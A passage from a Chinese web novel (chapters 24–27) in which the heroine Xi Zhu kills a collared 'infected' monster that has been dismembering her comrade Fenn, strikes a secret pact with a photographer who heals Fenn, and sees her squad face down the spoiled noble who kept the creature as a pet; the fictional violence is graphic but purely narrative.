嘴巴在一片混乱中钻到了奚渚的衣服里,此刻的它在空中变出红色巨翅,正在以最快速度接近那头感染物。
感染物正在向北移动,她往嘴巴飞去的方向看去,只瞧见远处坐落着两三个被废弃的村子。
无一例外,荒无人烟。
嘴巴速度很快,几乎在瞬间就到达了最近的村落。
奚渚紧随其后,拍拍它的脑袋,嘴巴立刻变为迷你型号飞在奚渚身后。
奚渚选择了最近的村落开始探查,这几处村子中的波动都大差不差。
而她脑内的感知技能也还没有完全恢复,暂时无法具体判断出感染物到底在哪儿。
几个村落相距十分近,不如每个都快速查一遍。
村子灰蒙蒙一片,土墙碎了一地,因这里靠近16区,所以废弃屋舍也有了感染的迹象,角落中生满了绿苔。
站在这里,只觉得方向都被扰乱。
奚渚踩着路上的枯枝断叶向村庄深处走去,大片荒废的菜地已经被野兽光顾,各家各户的门口丢着大量荒废的农具,看起来像是在慌乱之中匆忙丢下的。
奚渚走到门口,随手挑了一把斧头,在空中甩了甩,斧头十分结实。
她无法判断待会儿是否能完全恢复状态,如果感知绞杀用不了,就得直接拿斧子了结对方。
嘴巴看奚渚拿了一把斧头,它自己也有样学样,张开巨大的嘴巴,将整个屋子连带地上的农具全数吞了下去。
“这头突然出现的感染物有很大概率是从16区而来,先不管那地方现在是什么情况。其中最重要的是,这头感染物是刚才明确是冲着自己而来,其倾身的姿态,以及嘴巴大张的方向,明晃晃地证明这就是事实,之所以误将芬恩吞下去,只是因为在混乱中芬恩被甩到了自己身前。”奚渚心中不确定的道,她只是在赌,赌那头感染物不会先行动手。
奚渚有考虑过对方为何是冲自己而来。
第一种是掠夺能力,既然她可以通过杀死感染物得到对方的异能,没准儿反过来也能成立,感染物杀死她也可以得到异能。
第二种则是报仇雪恨,不过奚渚觉得这项的概率很小,她不认为单打独斗的感染物会具备和人类一样的团队意识,搞什么为同伴报仇雪恨的戏码,而且联盟的报告中显示,感染物的级别越高,它们独行的概率越大。
无论理由是哪个都不重要,因为奚渚绝不会让对方活着出去。
送上门的练手感染物,就应该发挥最大的价值。
***
远处废弃村落内。
感染物十分紧张,频繁地向后回看,但它的速度并没有任何减慢,这是它的能力,可以将速度提到极高的水准。
那人没有追过来,它松了口气。
在吞错对象之后,它和那个女人有过近距离的对视,对方的身子甚至都还在半空扭曲着,而双眼已经直直锁定到了它身上,似乎在说,下一个死的就是你!
感染物摸上它的脖子,那里套着一个黑色且泛着绿光的项圈。
“失败了!失败了!为什么没有吞掉那个人!对方能力强大!只要吞掉她,自己一定可以把这个项圈破坏掉!重获自由。”感染物抓着脖子上不断勒紧的项圈,这东西控制得它死死的,让它没有丝毫喘息的机会,它整个身体开始不正常的颤动,看起来就像是项圈在压迫控制它。
它四肢着地,像动物一样趴着奔跑,项圈越来越紧,它整张脸朝中-央紧皱,就像被硬物捶扁了一样。
感染物的极速奔跑能力有限,而且方才为了最快躲避那个女人,整个身体已经消耗的差不多了,即将濒临极限。
它慢慢停下步子,这里已经距离那个女人足够远,同时距离那些人也足够远。
它找了一间屋子,全身已经没了力气,它用前肢顶开障碍物,躲到破屋子的角落中,急不可耐地将吞掉的人类吐-出来。
刚才还觉得这个普通人没用,但现在不一样了,持续的消耗和项圈的反噬已经使感染物十分虚弱,而这个人类刚刚好,足够给自己提供能量。
芬恩猛地睁眼,她摔在地上,浑身挂着黏腻的口水,咳咳咳地正在剧烈咳嗽。
感染物慢慢站起来,阴影笼罩在瑟缩着的芬恩身上。
***
村落外。
奚渚在地上发现了一些不同寻常的皮肤。
看起来像是因痛苦而被硬生生扯下来的。
嘴巴看见新奇的东西,立刻想要吞掉,却被奚渚一个脑锤拦下,“别吃。”
它节节后退,耷拉着翅膀飞到了奚渚身后。
“这皮肤不像是人类的,大概是那只感染物的,但是,对方为什么要撕扯自己呢?难道是有什么特别的理由让它不得不这么做。”
她继续前进,不远处的地上,散落着一些方块似的东西。
嘴巴殷勤地拿起来,奚渚看向这几张方块,“这是照片,也不可以吃。”
照片上看不清拍了什么,但既然有照片存在,那么就说明这地方有照相机,但是,这种明显不符合下区的东西为何会在这里出现?
***
村落破屋内。
芬恩看着面前突然摔倒在地的感染物,对方死命掐着脖子挣-扎着。
她已经惊讶到说不出任何话,甚至都不敢相信自己竟然还活着。
感染物正在窒息,她立刻向远处爬去,她要活着出去!
这一刻,当经历两次死亡之后,芬恩突然获得了某种力量,一股拼死求生的欲-望从心底生出来!
她要立刻逃走!
感染物看到食物竟然在逃走,它拖着身子重新站起来。
芬恩立刻感受黑影再次笼罩全身,“没有任何退缩的机会,如果无法逃跑,就要有杀了对方的意志,梅和涂尔一定也会作出同样的选择!”
身后一阵强风,芬恩立刻护住脑袋,但还是晚了一步,她被苟延残喘的感染物直接甩到了墙上!
“咳咳咳!”芬恩捂着内脏,她哗地吐-出一口血来。
感染物的脸越皱越紧,它脖子处的项圈也不断收紧,它在窒息中本能地想要破坏!想要撕碎!
芬恩摔在角落,脚已经被扭伤,内脏也在破裂,她知道自己身体的情况,刚才的勇敢似乎是濒死前的回光返照,她也无法确认。
她屏息凝神,尽可能地保持平稳的呼吸,只有这样,她才能撑到有人来救自己。
但是,真的每次都会有人来吗?
芬恩垂下脑袋,余光中,一个锄头在那里静静立着。
叮!
锄头摔倒在地,芬恩的手僵在半空。
一切都被搞砸了。
感染物调转脑袋,口水直流,朝着芬恩冲过来。
***
村口。
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“那边有声音。”奚渚听到了不远处的撞击声。
她立刻朝那个方向赶去。
嘴巴在刚才就不知道去了哪里,奚渚没有管它。
如果对方的能力可以为她所用,那么待会儿杀死感染物的方式就需要调整一番。
***
屋内。
芬恩感觉到她的半边肩膀被咬断了。
她已经没办法睁开眼去看自己到底成了什么样子。
很疼!
很疼!
没有比现在更疼的时候了!
在满脸血中,她能模糊看到自己的右臂正在被那只感染物咀嚼。
对方还真是吃的很香。
“啊!还不如直接死了!就算能活下去,都丢了一只手臂,以后派遣队的工作自然不可能轮到自己,而且也没有钱来移植新的手臂.....涂尔和梅死的时候也是这么痛苦吗.....”
***
村中-央。
奚渚站在一间屋子外。
脑内的波动已经高了不少,她拿起斧头,劈开了屋门。
里面只有一些感染物的碎块儿,看来对方还挺聪明,知道自断“尾巴”拖延时间。
嘴巴从屋外冒出来,衔着一张照片,飞到奚渚面前。
奚渚接过来,照片上有两个“人”,一个是被锁在铁栅栏里,躲在角落正在吃什么东西的感染物,另外一个是双手比耶,笑的十分灿烂,看起来是拿感染物当战功炫耀的男孩。
照片背后写着一行字——3区淳邸。
奚渚扔下照片,“看来上区没有这么简单啊。”
***
屋内。
感染物爬到了芬恩腿上,像拨楞娃娃一样,左右一扭,就卸掉了她的右腿。
芬恩双眼空洞,看着自己的四肢正在被分解。
她仅剩的左手还拿着那个锄头,她象征性地挥了挥。
感染物立刻被吸引视线。
芬恩那股活着的欲-望再次被点燃。
下一秒,它撅断了芬恩的左腿。
锄头轰然倒地。
***
屋外。
奚渚听见了什么东西咚一声。
以及一声撕心裂肺的喊叫!
她活动了一下手腕,脑内的波动已经告诉她,这头感染物现在处于哪个方位。
屋内。
感染物正在饕餮吞食着芬恩的左腿。
它突然感觉有什么东西不对劲儿,但下一秒,又被口中的食物吸引了注意力。
屋外。
奚渚已经走到了距离感染物最近的位置。
她盯着那一处,手中斧头稍稍一滞。
屋内。
感染物手中的碎-尸嗵一声摔在地上。
它立刻站起身,有危险来了!
下一秒,感染物在扭头的瞬间,就被一把横飞而来的斧头劈开了脑袋。
它浑身一软,庞然大物跪倒在地,随即便是一股从内向外的扭曲感,就好像有人隔空紧握着它的身体,对方正在持续施压,在巨大的压力之下,感染物被拧成了碎渣。
芬恩瞪大双眼,看向突然出现在自己面前的奚渚。
——叮!
【恭喜解锁低级技能——速度强化。】
【速度强化:您可以在任意过程中进行速度加强,注意:此项技能不可连续长时间使用,其中前进载具越重,加速缓冲的时间越长。此项技能使用时,其他技能将得到全面加强。目前开发进度:100%。】
25.饲养
落日下。
几个人紧绷着身子站着,他们个个低着头,看向不远处的一个少年。
对方呆在这里很久了,已经远远超出家族所规定的时间。但少年没有任何打道回府的意思,众人没一个敢开口说话,缄默地等待着。
“到底去哪儿了!”一个胖如轮胎的男孩进进出出,持续翻找着面前的几间破旧屋子,“我给它的脖子上带着定位器!有了那东西它想跑也跑不了!父亲给我的奖励!罕见的D级,怎么会凭空消失。”
没人回答。
“你过来,那个留胡子的!”男孩眼睛一转,看向垂头的男人,“偷鸡摸狗,手脚不净,是不是你趁我刚才离开就将那只感染物放走了。”
胡子男拨浪鼓似的摇头,“没有!淳霍少爷!我怎么敢偷放那东西!”
淳霍斜睨了他一眼,“它脖子上那个东西限制的它死死的,只要在我周围,我就能完全控制那家伙,但现在感染物消失,项圈的信号也十分微弱,你说,大家该怎么办。”
胡子男嗫诺着,脸颊抖动不已,“少爷……要不……我们回去!”
啪!
一声巴掌震天响,胡子男瘫软在地。
“回去?感染物丢了,你让我回去,找不到它,谁都别想活着回上区,真以为我雇你们是吃白饭啊!”淳霍咬牙切齿道。
他看了眼时间,自己已经偷跑出来整整一天,为的就是论坛上的赌约!
亲自下区,解决一头感染物。
话都放出去了,空手回去,不得让那些看笑话的渣滓笑死!
而且,为了这次下区之行,淳霍还专门拉来了一个摄影师,什么都没拍到就算了,感染物竟然也跑了,这要是让别人知道,那可真是搓到家了!
想到这里,淳霍立刻指了指角落一个女人,对方十分有眼力见,扯开笑脸迎了出来。
“拍到什么了吗?”淳霍问道。
摄影师立刻调出影像,传送到了淳霍光脑的私人频道,“拍了少爷您的不少英姿呢!尤其是刚才下车时将感染物拽出来那段,真是威武到了极致。”
淳霍看着影像,满意地点了点头,他挑刺儿似的看了好几遍,“最后这段,我没站稳。”
摄影师理解力超群,笑着道:“这是自然,下区的路不平,少爷您晃悠了一下也是应该的。”
淳霍提起胡子男,口气不善,“你们几个给我去找那头感染物,一旦碰到,立刻按向手中的按钮,它脖子上的项圈会把它直接弄趴下,哦,还有,你是叫丝柏凌对吧,找感染物的过程不用拍。”
丝柏凌点点头,“一切明白,少爷。”
几人转身,目送淳霍拍了拍裤腿,上了远处的传送车,都不禁松了口气。
丝柏凌率先离开,“各位管家,待会儿见。”
这里是最远的废弃村子,丝柏凌拨开稻草,向前方的废弃地走着。
感染物丢失,还是家里给的奖励,这种笑掉大牙的事也就只有淳家这个蠢货会干出来。
不过既然少爷开口,哪有给钱不赚的道理,随便找找算了,反正丝伯凌的任务只是给他拍一段英雄视频。
四肢简单,脑袋空空,自导自演一段天降英雄,还没开拍,主人公就丢了个一干二净。
论坛上的那些疯子,端坐上区,人生美满,但偏偏要把自己整成一个被囚禁的向往自由的鸟一样,一辈子没见过大风大浪的它们,面对感染物时,手中的铡刀却异常兴奋。
恨不得一个个亲手砍掉。
丝柏凌叹了口气,“真是蜜罐儿里泡大的少爷,别人冲在前线绞杀感染物,他倒好反过来故意做戏,就为了脸上贴金证明他不是个孬种,但这种行为不就是赤-裸裸的孬货吗。”
唉。
人各有命。
废弃村庄缓缓出现,别说那个少爷了,她都好久没来过这种地方,“没准儿会有意外之喜呢。”
丝伯凌按了一下左肩,小小的黑色迷你摄影仪即可闪光,它连接大脑,可以以最快速度进行拍摄和上传。
丝柏凌一边记录一边饶有兴致地观察着,这块儿地方似乎有打斗的痕迹,作为一个有着职业敏锐素养的摄影师,她立刻认定这地方还有别人!
“撞大运了!如果自己能在论坛上拍出引起轩然大-波的视频,那么自己岂不是也一炮而红,工作多多赚钱多多!”丝柏凌心道,她有点儿理解淳霍的心思了,那种好奇心不断驱使她接近危险。
不远处一间破破烂烂的屋子,似乎有轻微地响动。
***
屋内,正在咀嚼芬恩四肢的感染物继续着手中撕扯、吞下、咀嚼的动作。
脖子上的项圈限制了它的一-大部分能力,吞掉人类之后的它,意识渐渐回笼。
它刚才是偷跑出来的!趁那个蠢货不在的时候!
一定不能让那些人发现自己在这里,完全吃掉这个人类之后再上路逃跑吧!这里应该距离16区很近,因为它已经闻到了同类的味道。
***
丝柏凌看着面前发生的一切,头皮都炸开了!
屋内的感染物双眼通红,竟在分-尸吃人!
肉沫子血沫子狂舞,滴在地上,聚成一团洼地,迷你摄像机对着她的脑袋转动,立刻对准了这幅场面。
不可多得的血腥素材,一定能在论坛中引起狂潮。
毕竟,那些养尊处优的家伙们连真正的感染物都没有见过!到时候,一定会有傻子掏大价钱来买断视频!
丝柏凌不觉得害怕,她甚至还故意向前移动了几分,保证自己能够拍摄到最清楚的进食画面。
意外之惊,更是意外之喜!
如果能有更加劲-爆的东西就好了!
突然。
摄像机捕捉到了空中的什么东西。
丝柏凌立刻抬高脑袋,半空中,一个拳头大小的红色东西正在向前方飞去。
镜头下移。
丝柏凌愣住了。
不是因为这地方还有第二个类似感染物的东西,而是因为这种地方,出现了一个人。
摄影机的红外并没有任何异常。
这台摄像机花了她一笔大价钱,装备了上区技术最高端的热成像红外技术,这项技术会对任何生物产生反应,所以刚才丝柏凌才能在下意识中快速锁定空中飞着的红色东西。
可是,现在正走过自己身前的这个女人,并没有唤醒红外的任何反应。
而且电流频率开始波动,甚至摄影画面都出现了坏点,滋啦滋啦,滋啦滋啦,明显是被什么东西给干扰破坏了!
丝柏凌急切地呼吸着,她双眼兴奋,像是看到什么宝物一样,死死盯着奚渚。
对方的背影渐渐离开,她呼出一口气,那个人类,才是惊喜。
她转变方向,伏低身体,故意绕着二人来的方向转了一圈。
丝柏凌将拍摄目标立刻换为奚渚,摄影仪的画面开始恢复,影像中渐渐出现了奚渚的背影,丝柏凌躲在另一间距离奚渚最近的屋子里,宛如狂热粉丝一样拍摄着她的一举一动。
“对方到底是什么人?”丝柏凌心道。
三军中并没有这样的人物,她记忆力超群,只要是自己见过的三军,即使过上多少年,她也不会忘记对方的脸。
不过这全部得益于大脑改造,费用昂贵到上天。
她继续猜想,这种感觉,难道是猎人组的?
最近论坛中小道消息渐起,说是伊文捷琳频繁往来上下区,最近更是前往了茵梵圣地,虽然大家猜不出伊文捷琳突然活动是为了什么,但一定与7组脱不了关系。
而且,淳霍前往下区之前,原本是邀请了7组的队长白央替他护卫,但对方拒绝的十分干脆。
丝柏凌想起了白央那张长年在覆面之下的脸,浑身抖了一下,7组的人都不太正常。
不过这话并非空穴来风,而是有证据证明的。
7组对外,虽然一直是濒临解散的状态,但她们实际上仍在活动,只不过没有以前那么大张旗鼓,现任的几个队员一般不露面,但丝柏凌凭借自己广泛的人际网,窥-探到过一二消息。
现任队员完全换了一批,全是些罪犯,神经病,偏执狂之类的,都是为了活命而加入了7组,但却没有任何信息流出,这似乎也是伊文捷琳对外的态度。
摄影机还在录着,丝柏凌顺手刷了一下论坛,淳霍说自己要去下区截杀感染物的帖子仍然高居榜首,底下的回帖在以最快速度刷新。
丝柏凌手握十个匿名账号,这就是论坛的好处,只要本人不愿意
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暴露身份,那么谁都查不出来,她以最快速度剪辑了一个感染物分-尸人类的预告视频,立刻上传。
回帖猛地暴涨,右上角的红点在不间断闪烁,丝柏凌沉浸在自己马上就要在上区赚大钱住别墅的幻想中,浑然没有注意到奚渚突然朝这个方向瞥了一眼。
轰!
丝柏凌立刻惊醒,看向画面。
一片废墟中,灰尘激荡,本就破败的屋子被炸开一个大洞,奚渚背对着镜头,已经进入到了屋内,她手里的斧头已经不知所踪,丝柏凌仔细一看,已经劈在了感染物的脑袋上,感染物碎成一地碎块,里面未来得及消化的断肢淌了一地,它的脑袋“虔诚”地垂在那个一脸绝望的人类面前,像是死后在忏悔。
丝柏凌吞了一口口水,她本能地向后瑟缩。
画面中,黑点无数,摄像机屏幕上开始出现坏点,渐渐的,一切恢复正常。
一抹轮廓渐渐清晰,赤色夕阳淌在奚渚身上,她衣襟上是血,袖口上是血,脸上依旧是血,哪里都是红色的,感染物在瞬息间就被奚渚击倒,没人看清她是怎么办到的,她垂着脑袋,双眼紧闭,胸口正在细微起伏。
丝柏凌看呆了,她脸上的肌肉在难以抑制的抽-动,自己应该马上逃跑才对,对方既然能拿一把斧子砍了感染物,那么了结她也只会是一瞬间的事情。
可是,她没有动,一种长久的喜悦促使她趴在原地,她还想看到更多。
抑制感染物苔粒子的项圈被甩在地上,其上的绿点变成了红色,这样的信息马上就会上报到淳霍那边,对方看到之后,一定会明白感染物已死,并且截然大怒,且必定会拿上武器立刻赶到这里。
不能让对方发现是面前这个人杀掉感染物的。
连丝柏凌自己都不知道为什么会突然产生这样的想法,淳霍非常善妒且为达目的不择手段,如果让对方知道这个人杀了感染物,那么即使她是7组的,伊文捷琳也保不了她。
在丝柏凌思考的间隙,画面中的身影不见了。
她立刻从地上爬起来,还没来得及转身,一个身影突然站到了她面前,极快的速度,让人胆寒。
奚渚喃喃自语,“这个技能,似乎还可以。”
下一秒,丝柏凌就被甩到了地上,那人已经卸下了她肩膀上的摄影仪。
奚渚拿起那个小黑点,这又是什么高科技,她看向摔在角落的丝柏凌,“你拍到我了。”
丝柏凌僵硬在地,她的双眼盯着灰扑扑的地面,大脑正在飞速发展,原来对方早已发现了她。
丝伯凌听到了什么东西在她身后哈气,紧紧绕着她飞舞扭转,她提起双手,揉了揉僵硬的双脸。
“你是谁?”奚渚不知道这里为什么会突然出现其他人,是否是三军中的队员,又或者是个普通人。
“等等!”丝柏凌双手捶地,高声大喊,她要打断奚渚,更是为了打断身后那个冒着热气的东西,“等等!”
奚渚转过身,刚才一进入此地她就发现这个鬼鬼祟祟的人了,但因为首要任务是解决感染物,所以便没有特别在意。
她不确定对方看到了多少,而且还有这个摄影仪似的东西,如果对方拍到了什么,身边的嘴巴就会直接暴露,而且,自己的能力也会泄露。
丝柏凌豁出去了,如果她现在不说实话,她肯定这人会毫不留情杀了自己!
自己绝对不能死在这儿,“我拍到了感染物分-尸的视频,并且已经上传到了论坛。
还拍到了你解决感染物的过程,但是!因为房屋倒塌灰尘满布的缘故,只拍到了你的背影!
我和你做交易!你杀了的这个感染物是上区贵族淳家的饲养的感染物!他们不会放过你的!
如果你把我也杀了,他们一定会追查到底!”
“饲养感染物?”奚渚听出了对方话里的漏洞,“那枚项圈就是控制感染物的东西。”
丝柏凌狂乱点头,对方没有松口,突然,她想到了那个被分-尸的人类,余光中,那人摊在墙上,血流不止,身体尽废。
“我可以救她!那个人类!”丝伯凌大声开口,“你想救她对吧!”
奚渚步子顿了一下。
“我保证一定可以救活她!”丝柏凌拳头紧握,“我拿我的性命作担保!”
26.秘密同盟
芬恩还有呼吸。
奚渚站在她的对面,面对的是一个血窟窿一般的人。
“对不起,对不起,对不起......”
她听见芬恩如此呢-喃。
孱弱的呼吸,似乎下一秒就会气绝。
即便速度再快,也无法立刻带着芬恩回到传送车的营地位置,对方的失血量十分严重,绝不能进行任何颠簸。
奚渚将迷你仪器装到了口袋里,问向丝柏凌,“你有什么办法救她?”
丝柏凌嗖地抬起头来,她相信奚渚在考虑这个建议,她就这么仰着头,望着奚渚。
很多年后,丝柏凌早已不再触碰自己曾经视若珍宝的仪器,无数机械虫会替她们引路,她们扎起头发,握起枪械,跨越巨虫的世界,路过无限生长的岩石地,横穿孕育生命的孢子林,在频繁低头抬头的瞬间,静默遥望人类已经千年未曾对视过的微弱月亮。那堆放在流浪行李中的小小仪器会短暂记录下她们一次次的冒险,而丝柏凌会如初见时那般,频频仰头望着奚渚,她没有后悔过,未来不会,现在便更加不会。
“我有能力,和你一样的能力!我可以将人救活!”丝柏凌开口道。
奚渚只惊讶了一瞬间,丝柏凌的自爆是她没想到的。
异能,不论在任何世界,都会被视为一种强大,同样,这种能力大概率极为罕见,罕见就意味着珍贵,如果不是这样,奚渚也不会频频隐藏能力。
她无法确定,既然她可以取代别人的能力,那么反过来,别人自然也可以。
但是丝柏凌的自爆无疑是一个求和的讯息。
而且,如果她没有撒谎,那么芬恩就可以继续活下来。
奚渚朝芬恩的屋子走去,边走边说,“芬恩的的四肢都已经碎了,如果你说的是真的,可以救活她,我不会杀你。”
丝柏凌已经站了起来,她几步快走到了芬恩面前。
对方还有微弱的呼吸,四肢尽断,伤口正在严重出血,她并没有隐瞒能力的想法,于是直接在奚渚面前替芬恩止了血,“我们不能在这里进行治疗。淳霍,也就是那头感染物的饲养者,项圈脱落的信号会立刻传到他那里,我们继续呆在这儿无疑是自找麻烦。还有淳霍身边的管家,他们都是花大价钱雇来的异能者,只要淳霍有令,那些人就会立刻动手,我们需要马上离开这里。”
奚渚没有异议。
芬恩被止住了血,丝柏凌快速的将断肢收集起来,她背起芬恩,二人朝着反方向离开。
“我没有想到你也拥有异能。”丝柏凌在路上频繁搭话,她能看出奚渚心不在焉,于是退而求其次地和嘴巴进行全障碍沟通。
她能看着这东西是个感染物,但是感染物认主这件事,她还是第一次见到。
“奚渚不是普通人。”丝柏凌心中越发觉得奇怪。
二人在一间被无数枯树遮挡的屋子中停下脚步,奚渚自然地站到门口,开始放哨,盯着远处。
被项圈困住的感染物,而且还有饲养者,而这种人,竟然在拿这些东西当作一场游戏。
***
管家们浩浩荡荡,簇拥着满脸横肉的淳霍赶到了项圈发送死亡定位的现场。
淳霍来回踱步,脚下蹭着感染物的碎块儿。
怒气让他全身的肥肉都在颤动,他猛地一跺脚,对着面前垂头不语的管家们呵斥道:“这就是你们找到的东西!都碎成肉馅儿了!几个意思,我掏钱养你们,没一个有出息的,能让我的感染物在这么多人的眼皮子底下被剁成这样!”
空中唾沫横飞,淳霍越骂越气,这几个木头一样的桩子,竟然还不如那个油嘴滑舌的丝柏凌有用。
淳霍环视一圈,这里面少了一个人。
丝柏凌去哪儿了?
这家伙,不会就是杀害自己这头感染物的凶手吧?
淳霍越想越觉得说得通。
丝柏凌不仅带着迷你摄影仪,而且武力也不低,还能轻松进入论坛,万一是丝柏凌半路设计,想要把截杀感染物的名头按在她自己身上,从而匿名上传到论坛,博取论坛人的眼球,而直接给做了这么一个局。
很有可能。
“分一半人去找那个丝柏凌。”淳霍舔了舔牙,一排黄牙吐露出来。
感染物死了,但是必须要有一个罪魁祸首。
不然,回去怎么跟母亲交代。
“怎么了?”淳霍看向身后的管家,对方似乎有话要说。
“刚得到消息,三军的传送车就在您附近,听说拒绝了您的猎人7组成员也在车内。”管家声音平缓。
淳霍嗤笑一声,真是得来不费功夫,一个个的都算准了日子,往自己枪口上撞,他率先转身,朝着吉蒂琼等人的方向走去,“当然要去看看,没准儿凶手就是被她们藏起来了。”
***
芬恩猛地咳嗽了一声,浑身如针扎般疼,好像全身的的肉被重新缝了一遍一样。
她缓缓睁开眼,自己正被人背在后背上,是完全不认识的女人。
金色的头发,肩膀和双臂被改造成了金属。
身边走着的是7组的奚渚,对方给过自己地图,是她们救了我吗?
奚渚似乎在和背着自己的这个人说着什么听不懂的话。
芬恩眼神飘忽,她想集中注意力听二人说什么,但身体真的太疼了,是那种骨头缝儿里的痛楚。
在轻柔的移动中,芬恩又晕了过去。
丝柏凌转头看了一眼晕过去的芬恩,“这下你相信我了吧,她已经没事儿了,还有,只有你见过我的能力,千万要保密,当然了,我对你的能力也一定绝口不提,虽然我很好奇。”
奚渚自然觉得这样最好不过,她岔开丝柏凌的注意力,问起别的事情,“所以你是跟着一个上区的少爷来到废弃地,给对方拍一段斩杀感染物的作秀视频的?”
丝柏凌呼出一口气,“你终于相信我了,你真是疑心太重,奚渚。”
“你说的那个论坛是怎么回事儿?只有上区的人可以进入吗?”奚渚问道。
她有点在意那个论坛,在丝柏凌口中,这个神秘论坛组织强大,且关系复杂,而且最重要的是,只允许上区人进入。
如果自己也能进入论坛,是否可以获得更多的情报和信息。
尤其是对于她现在一无所知的上区来说。
“没错,里面什么东西都有,我可以你邀请你进入论坛噢!毕竟本人可是论坛红人,以拍摄离奇事件著称!所以淳霍才会把我请过来!”丝柏凌拍拍胸口,“而且你不用担心待会儿回去该怎么解释,我在7组有认识的人哦!只用说我在下区拍摄偶遇到你和芬恩就可以了。”
“这不就是最强狗仔。”奚渚心道。
丝柏凌继续道,“好了,不卖关子了,我虽然不认识你们的队长白央,但却认识吉蒂琼,我曾经拍摄过她的诞生地,也就是机械人制造厂的视频,那地方真是恐怖至极,也得亏吉蒂琼没长歪。
还有,既然我们这么有缘,下次猎人的拍摄任务能不能交给我呢?听说伊文捷琳长官出手很大方呢。”
“你自己和队长说吧。”奚渚自动屏蔽耳朵,她已经看到了燃烧着的传送车,东一块西一块,葵金正坐在石块儿上遥望远处。
“不是吧,你们队长也来了,她很冷的!比你还冷!”丝柏凌咂咂嘴,她看到了远处站着的白央。
吉蒂琼发现了奚渚的身影,率先挥手,“我就知道你没问题!奚渚!”
葵金跳下巨石,白央缓缓转身,众人看向一身破烂的奚渚,以及她后面满脸堆笑,本不应该出现在这里的丝柏凌。
丝柏凌立刻切换社交达人属性,对着吉蒂琼眨了眨眼。
转过身,握手先握老大,率先奔着白央打招呼,“真是幸运啊!碰到奚渚救了我一命,要是没有她,我就被那只感染物给一口吃了。”
奚渚两个字评价这段演技,那就是浮夸。
白央嗯了一声,她指挥执勤军将丝柏凌背上的芬恩移动到了另一侧。
随后,她对着7组成员道:“事发突然,传送车可能短时间内过不来,我们需要在这里等待一段时间。”
众人没什么异议,葵金摆摆手,“既然这样,我就研究感染物去了,机械虫也必须再次改良,尤其是侦查速度方面和炸毁强度上。”
白央点头,“去吧。”<
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剩下的四人站在金属残堆里,吉蒂琼问向丝柏凌,“你又来拍什么?我可看到你在论坛里的消息了,不过,还没点开似乎就被你删除了。”
丝柏凌点点头,已经发出去的帖子无法撤回,但是视频却可以删除,在与奚渚达成统一意见时,她就立刻将帖子删了,为了以防万一有人问被感染物分-尸的人类是谁时,她已经想好了,那就是她自己带下来的助手。
“太残忍了,我发出去就后悔了。”丝柏凌表情沉重,“有些阴暗的东西还是不要被大家看到比较好。”
“后面呢,你拍到什么了?”吉蒂琼的问话中带着无形的压迫。
丝柏凌莞尔一笑,扣出肩膀上的仪器,仪器线路已经完全短路,直接被烧焦了。
“我直接跑了,摄影机都被磕坏了。”丝柏凌道。
吉蒂琼唔了一声,不再询问。
白央已经不再注意这边,她要得出的结论只是丝柏凌的视频不会陷7组于不利境地。
至于其他的,在目前来说,都统统不重要。
丝柏凌背过身,对着奚渚眨了一下眼睛。
突然,余光中,一个胖子的身影徐徐出现。
她立刻改变话题,“白央队长,我要向您上报,那头感染物脖子上的项圈是隶属于淳霍的。”
白央注意到了远处那群阵仗颇大的团体,关于项圈的消息,吉蒂琼在最开始就已经汇报过,她们都知道上区有些爱好独特的贵族喜欢圈养感染物,发明出完全抑制感染物能力的项圈,将这些东西私藏起来。
淳霍一行人气势汹汹,看来是主人寻仇寻到了7组头上。
只不过,淳霍他打错了主意。
淳霍环视一圈,目光锁定到了完全脸生的奚渚身上,“白央,这是哪儿来的东西?”
白央将视线移到淳霍身上,“这是7组的新成员。”
“我怎么不知道你们7组又有新人了?”淳霍从车里走了出来。
“你有必要知道吗?”这句话当然是吉蒂琼说的,她最看不惯上区这些贵族。
“你!你!伊文捷琳见了我妈都要低声下气,你竟敢这么和我说话!”淳霍气的眼睛都睁开了。
“那等我见了您母亲再说吧。”吉蒂琼不甚在意。
淳霍吃了个大瘪,他有气没处撒,这几个人能力强大的猎人他都惹不起,于是他只能把炮筒对准丝柏凌,“你怎么在那儿站着!感染物死了一事,是不是你半路挑唆的,跟那个新人!”
“我没有,我不知道,我不清楚。”丝柏凌左右摇头,开始装傻。
淳霍面对着白央众人的凝视,声音越来越小,他自然知道自己是没事儿找茬,而且上区饲养感染物这种事情本就不应该宣扬,他自知理亏,可是又无法接受自己竹篮打水一场空,于是只能恶狠狠瞪着奚渚。
白央挡身上前,“淳少爷,您应该回上区了,下区不安全,您就不要下来了。”
淳霍猛地推了一下白央,这股劲儿可是牟足了胆量,可对方竟然纹丝不动,“您该回去了。”
“谁杀了那只感染物,我就要杀了谁!你们7组难道要包庇凶手吗?”淳霍叱道,他被白央盯得垂下了脑袋。
白央再次迈步,施压逼迫,“您应该立刻返还上区。”
“把那个新人交出来!我数到三,如果你不给我,我就!!我就!!”
白央面无表情,她突然后退一步。
淳霍以为是对方服软,正咧开嘴巴狂妄笑着,还没耀武扬威几秒,在白央退步的空隙间,一记强有力的重拳就砸到了淳霍的脸上。
嘭!
淳霍滚了几圈,摔到远处。
吉蒂琼甩了甩拳头,“这种肥头大耳的东西,真是吵死了!”
白央走到那些管家跟前,只见管家们一脸平淡,甚至嘴角有轻微的上扬,“辛苦了,麻烦诸位将他遣送回上区。”
其中一个年龄较老的管家站了出来,对着白央伸出手,“麻烦诸位管教,少爷的母亲一定十分乐意。”
金属残骸远处,哈利斯目睹了全程,他咬了咬牙,恶狠狠地看向奚渚,“好你个奚渚,让我抓到把柄了!你给我等着!”
27.10区
打扫战场的执勤军与部分清扫者们都疲态十足,她们与7组不一样,在感染区附近进行长时间任务时,即使佩戴头盔,也会因苔粒子的影响而感到疲惫困顿。
传送车因紧急情况炸成了一滩废铁,众人根据白央的指数,便在此地安顿下来。
新的传送车将在几小时后抵达,届时将连夜启程,前往10区总部。
已经入夜,天气陡然冷下来,戈乌估摸着时间,按照白央的命令唤来几个执勤军,准备引渡新来的传送车。
吉蒂琼靠在一面大石头上,枕着她的双刀,淳霍早已被遣送回去,现在这地方,孤零零的只剩大家。
“没想到意外的顺利啊。”吉蒂琼清了清嗓子道。
靠在破铁门上的白央正在闭目养神,听见吉蒂琼说话,她突然想到伊文捷琳对自己所说的话,“要对她们温柔一些。”
“监狱的任务完成的可以,回到10区后会有几天假期。”白央说。
吉蒂琼鲤鱼打挺一样坐起身,一双眼睛兴奋不止,“终于能放假了!我这头十几天连轴转的老黄牛马上就可以扔了耙子卸了架子去迎接美好新生活了!”
对方爽朗大笑,惊得远处的戈乌频频侧目。
白央转过脑袋,看向靠在铁堆中的奚渚,“到了10区,会有人给你安排新的住所。”
奚渚睁开眼,“谢谢你啊,队长,我这个流浪汉终于有家了。”
